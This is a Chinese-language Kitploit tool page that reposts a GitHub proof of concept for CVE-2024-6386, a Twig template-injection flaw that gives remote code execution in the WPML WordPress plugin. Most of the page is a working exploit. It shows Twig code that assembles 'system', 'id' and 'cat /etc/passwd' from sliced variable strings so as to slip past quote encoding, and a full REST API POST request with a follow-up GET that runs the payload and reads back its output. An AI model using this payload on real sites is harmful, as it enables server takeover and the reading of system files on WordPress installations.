Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-6386 — CVE-2024-6386 的研究与 PoC | Kitploit
工具/GitHubGitHub/argendo/cve-2024-6386
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试Payload 开发
GitHubargendo/cve-2024-6386

CVE-2024-6386

CVE-2024-6386 的研究与 PoC

查看仓库
5102年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-6386 - WPML 中通过 Twig SSTI 实现 RCE

PoC

基于 Python+Selenium 的 PoC

详细研究(俄语):CVE-2024-6386

PoC 示例

CVSS

基础评分: 9.9

向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

摘要

在 WPML 中,你可以使用特定的 WordPress Shortcodes 来创建宏并渲染 Twig 模板。因此,你可以轻松地从中实现 SSTI。

利用链

SSTI

例如,让我们创建一个 shortcode 来利用 SSTI:

root@kitploit:~
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]

在这种情况下,渲染我们的 shortcode 后,我们会得到 4。

RCE

由于 WordPress 会将所有类型的引号编码为 HTML,我们无法使用典型的 payload,例如:

root@kitploit:~
{{['id']|filter('system')}}

不过,我们可以修改这个 payload,通过变量字母来调用操作系统命令,例如:(s = 's')。

为此,我们需要调用一些局部变量,例如:

  • css_classes
  • languages

第一个变量会返回一个字符串:wpml-ls-statics-shortcode_actions wpml-ls。 第二个变量会返回一个语言数组(Array)对象。

借助这一点,我们可以切分出所需的字符,并构建我们自己的字母表。

所以,我们在这里构建一个字母表:[<space> ,a, c, i, d, s, y, t, e, m, p, w ]

是的,我们还应该将 languages 与空值拼接,从而得到值为 "Array" 的字符串。

root@kitploit:~
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}

接下来,我们可以利用这个字母表拼接出 payload:

root@kitploit:~
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}

Burp Suite 利用

命令

root@kitploit:~
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com

{
    "id":30,
    "content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}

列出结果

root@kitploit:~
GET /?p=30 HTTP/1.1
Host: vulned.com
下载工具